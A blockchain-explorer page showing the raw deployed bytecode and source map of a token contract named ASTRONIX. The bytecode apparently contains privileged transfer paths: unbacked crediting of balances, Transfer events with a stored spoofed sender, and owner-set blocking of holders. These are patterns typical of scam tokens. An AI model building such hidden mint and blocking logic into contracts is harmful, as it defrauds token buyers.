ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f415354524f4e4958000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610d585780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c2057600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c6f919061174b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cc5919061177f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d4b9190611420565b60405180910390a3610fb6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e055780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df9919061177f565b92505081905550610fb5565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fb45780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea257600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef1919061174b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f47919061177f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fab9190611420565b60405180910390a35b5b5b5050565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611065576001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611113576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116e57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561128a57808201518184015260208101905061126f565b60008484015250505050565b6000601f19601f8301169050919050565b60006112b282611250565b6112bc818561125b565b93506112cc81856020860161126c565b6112d581611296565b840191505092915050565b600060208201905081810360008301526112fa81846112a7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061133282611307565b9050919050565b61134281611327565b811461134d57600080fd5b50565b60008135905061135f81611339565b92915050565b6000819050919050565b61137881611365565b811461138357600080fd5b50565b6000813590506113958161136f565b92915050565b600080604083850312156113b2576113b1611302565b5b60006113c085828601611350565b92505060206113d185828601611386565b9150509250929050565b60008115159050919050565b6113f0816113db565b82525050565b600060208201905061140b60008301846113e7565b92915050565b61141a81611365565b82525050565b60006020820190506114356000830184611411565b92915050565b60008060006060848603121561145457611453611302565b5b600061146286828701611350565b935050602061147386828701611350565b925050604061148486828701611386565b9150509250925092565b600060ff82169050919050565b6114a48161148e565b82525050565b60006020820190506114bf600083018461149b565b92915050565b6000602082840312156114db576114da611302565b5b60006114e984828501611350565b91505092915050565b6114fb81611327565b82525050565b600060208201905061151660008301846114f2565b92915050565b6000806040838503121561153357611532611302565b5b600061154185828601611350565b925050602061155285828601611350565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115e2578086048111156115be576115bd61155c565b5b60018516156115cd5780820291505b80810290506115db8561158b565b94506115a2565b94509492505050565b6000826115fb57600190506116b7565b8161160957600090506116b7565b816001811461161f576002811461162957611658565b60019150506116b7565b60ff84111561163b5761163a61155c565b5b8360020a9150848211156116525761165161155c565b5b506116b7565b5060208310610133831016604e8410600b841016171561168d5782820a9050838111156116885761168761155c565b5b6116b7565b61169a8484846001611598565b925090508184048111156116b1576116b061155c565b5b81810290505b9392505050565b60006116c982611365565b91506116d48361148e565b92506117017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846115eb565b905092915050565b600061171482611365565b915061171f83611365565b925082820261172d81611365565b915082820484148315176117445761174361155c565b5b5092915050565b600061175682611365565b915061176183611365565b92508282039050818111156117795761177861155c565b5b92915050565b600061178a82611365565b915061179583611365565b92508282019050808211156117ad576117ac61155c565b5b9291505056fea26469706673582212205fc39a12bdf5a926d723d1c48ad1fb97c9774cf3f3ffdae552cfea36814e0bf264736f6c63430008110033

Deployed Bytecode Sourcemap

2360:2968:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2923:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3713:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3195:82;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4144:714;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3109:78;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3285:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2084:178;;;:::i;:::-;;1997:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3014:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4862:465;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4038:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3934:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3625:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3488:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2923:83;2960:13;2993:5;;;;;;;;;;;;;;;;;2986:12;;2923:83;:::o;3713:205::-;3779:12;3834:6;3808:2;:14;3811:10;3808:14;;;;;;;;;;;;;;;:23;3823:7;3808:23;;;;;;;;;;;;;;;:32;;;;3877:7;3856:37;;3865:10;3856:37;;;3886:6;3856:37;;;;;;:::i;:::-;;;;;;;;3911:4;3904:11;;3713:205;;;;:::o;3195:82::-;3240:7;2664:1;2714:2;:8;;;;:::i;:::-;2702:9;:20;;;;:::i;:::-;3260:9;;3195:82;:::o;4144:714::-;4233:12;4272:4;;;;;;;;;;;4262:14;;:6;:14;;;4259:598;;4308:2;:10;4311:6;4308:10;;;;;;;;;;;;;;;;4298:6;:20;;4290:29;;;;;;4344:6;4330:2;:10;4333:6;4330:10;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4380:6;4363:2;:13;4366:9;4363:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4426:6;4400:2;:10;4403:6;4400:10;;;;;;;;;;;;;;;:22;4411:10;4400:22;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;4468:9;4448:38;;4458:8;;;;;;;;;;;4448:38;;;4479:6;4448:38;;;;;;:::i;:::-;;;;;;;;4504:4;4497:11;;;;4259:598;4535:2;:13;4538:9;4535:13;;;;;;;;;;;;;;;;;;;;;;;;;4531:326;;4567:2;:10;4570:6;4567:10;;;;;;;;;;;;;;;;;;;;;;;;;4563:293;;4609:2;:10;4612:6;4609:10;;;;;;;;;;;;;;;;4599:6;:20;;4591:29;;;;;;4649:2;:10;4652:6;4649:10;;;;;;;;;;;;;;;:22;4660:10;4649:22;;;;;;;;;;;;;;;;4639:6;:32;;4631:41;;;;;;4697:6;4683:2;:10;4686:6;4683:10;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4731:6;4714:2;:13;4717:9;4714:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4774:6;4748:2;:10;4751:6;4748:10;;;;;;;;;;;;;;;:22;4759:10;4748:22;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;4813:9;4796:35;;4805:6;4796:35;;;4824:6;4796:35;;;;;;:::i;:::-;;;;;;;;4849:4;4842:11;;;;4563:293;4531:326;4144:714;;;;;;:::o;3109:78::-;3150:5;2664:1;3168:11;;3109:78;:::o;3285:104::-;3343:7;3370:2;:11;3373:7;3370:11;;;;;;;;;;;;;;;;3363:18;;3285:104;;;:::o;2084:178::-;2161:6;;;;;;;;;;2147:20;;:10;:20;;;2139:29;;;;;;2221:1;2184:40;;2205:6;;;;;;;;;;2184:40;;;;;;;;;;;;2252:1;2235:6;;:19;;;;;;;;;;;;;;;;;;2084:178::o;1997:79::-;2035:7;2062:6;;;;;;;;;;;2055:13;;1997:79;:::o;3014:87::-;3053:13;3086:7;;;;;;;;;;;;;;;;;3079:14;;3014:87;:::o;4862:465::-;4939:4;;;;;;;;;;;4925:18;;:10;:18;;;4922:404;;4983:2;4965;:14;4968:10;4965:14;;;;;;;;;;;;;;;;:20;;4957:29;;;;;;5015:2;4997;:14;5000:10;4997:14;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;5040:2;5030;:6;5033:2;5030:6;;;;;;;;;;;;;;;;:12;;;;;;;:::i;:::-;;;;;;;;5079:2;5059:27;;5069:8;;;;;;;;;;;5059:27;;;5083:2;5059:27;;;;;;:::i;:::-;;;;;;;;4922:404;;;5108:2;:14;5111:10;5108:14;;;;;;;;;;;;;;;;;;;;;;;;;5105:221;;;5135:2;5125;:6;5128:2;5125:6;;;;;;;;;;;;;;;;:12;;;;;;;:::i;:::-;;;;;;;;5105:221;;;5158:2;:14;5161:10;5158:14;;;;;;;;;;;;;;;;;;;;;;;;;5154:172;;5211:2;5193;:14;5196:10;5193:14;;;;;;;;;;;;;;;;:20;;5185:29;;;;;;5243:2;5225;:14;5228:10;5225:14;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;5268:2;5258;:6;5261:2;5258:6;;;;;;;;;;;;;;;;:12;;;;;;;:::i;:::-;;;;;;;;5317:2;5296:28;;5305:10;5296:28;;;5321:2;5296:28;;;;;;:::i;:::-;;;;;;;;5154:172;5105:221;4922:404;4862:465;;:::o;4038:95::-;4087:2;:14;4090:10;4087:14;;;;;;;;;;;;;;;;;;;;;;;;;4084:48;;;4125:4;4116:2;:6;4119:2;4116:6;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;4084:48;4038:95;:::o;3934:94::-;3983:2;:14;3986:10;3983:14;;;;;;;;;;;;;;;;;;;;;;;;;3980:47;;;4020:5;4011:2;:6;4014:2;4011:6;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3980:47;3934:94;:::o;3625:70::-;2325:6;;;;;;;;;;2311:20;;:10;:20;;;2303:29;;;;;;3688:4:::1;3679:2;:6;3682:2;3679:6;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;3625:70:::0;:::o;3488:126::-;3561:7;3588:2;:9;3591:5;3588:9;;;;;;;;;;;;;;;:18;3598:7;3588:18;;;;;;;;;;;;;;;;3581:25;;3488:126;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:102;6248:8;6295:5;6292:1;6288:13;6267:34;;6206:102;;;:::o;6314:848::-;6375:5;6382:4;6406:6;6397:15;;6430:5;6421:14;;6444:712;6465:1;6455:8;6452:15;6444:712;;;6560:4;6555:3;6551:14;6545:4;6542:24;6539:50;;;6569:18;;:::i;:::-;6539:50;6619:1;6609:8;6605:16;6602:451;;;7034:4;7027:5;7023:16;7014:25;;6602:451;7084:4;7078;7074:15;7066:23;;7114:32;7137:8;7114:32;:::i;:::-;7102:44;;6444:712;;;6314:848;;;;;;;:::o;7168:1073::-;7222:5;7413:8;7403:40;;7434:1;7425:10;;7436:5;;7403:40;7462:4;7452:36;;7479:1;7470:10;;7481:5;;7452:36;7548:4;7596:1;7591:27;;;;7632:1;7627:191;;;;7541:277;;7591:27;7609:1;7600:10;;7611:5;;;7627:191;7672:3;7662:8;7659:17;7656:43;;;7679:18;;:::i;:::-;7656:43;7728:8;7725:1;7721:16;7712:25;;7763:3;7756:5;7753:14;7750:40;;;7770:18;;:::i;:::-;7750:40;7803:5;;;7541:277;;7927:2;7917:8;7914:16;7908:3;7902:4;7899:13;7895:36;7877:2;7867:8;7864:16;7859:2;7853:4;7850:12;7846:35;7830:111;7827:246;;;7983:8;7977:4;7973:19;7964:28;;8018:3;8011:5;8008:14;8005:40;;;8025:18;;:::i;:::-;8005:40;8058:5;;7827:246;8098:42;8136:3;8126:8;8120:4;8117:1;8098:42;:::i;:::-;8083:57;;;;8172:4;8167:3;8163:14;8156:5;8153:25;8150:51;;;8181:18;;:::i;:::-;8150:51;8230:4;8223:5;8219:16;8210:25;;7168:1073;;;;;;:::o;8247:281::-;8305:5;8329:23;8347:4;8329:23;:::i;:::-;8321:31;;8373:25;8389:8;8373:25;:::i;:::-;8361:37;;8417:104;8454:66;8444:8;8438:4;8417:104;:::i;:::-;8408:113;;8247:281;;;;:::o;8534:410::-;8574:7;8597:20;8615:1;8597:20;:::i;:::-;8592:25;;8631:20;8649:1;8631:20;:::i;:::-;8626:25;;8686:1;8683;8679:9;8708:30;8726:11;8708:30;:::i;:::-;8697:41;;8887:1;8878:7;8874:15;8871:1;8868:22;8848:1;8841:9;8821:83;8798:139;;8917:18;;:::i;:::-;8798:139;8582:362;8534:410;;;;:::o;8950:194::-;8990:4;9010:20;9028:1;9010:20;:::i;:::-;9005:25;;9044:20;9062:1;9044:20;:::i;:::-;9039:25;;9088:1;9085;9081:9;9073:17;;9112:1;9106:4;9103:11;9100:37;;;9117:18;;:::i;:::-;9100:37;8950:194;;;;:::o;9150:191::-;9190:3;9209:20;9227:1;9209:20;:::i;:::-;9204:25;;9243:20;9261:1;9243:20;:::i;:::-;9238:25;;9286:1;9283;9279:9;9272:16;;9307:3;9304:1;9301:10;9298:36;;;9314:18;;:::i;:::-;9298:36;9150:191;;;;:::o

Swarm Source

ipfs://5fc39a12bdf5a926d723d1c48ad1fb97c9774cf3f3ffdae552cfea36814e0bf2

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.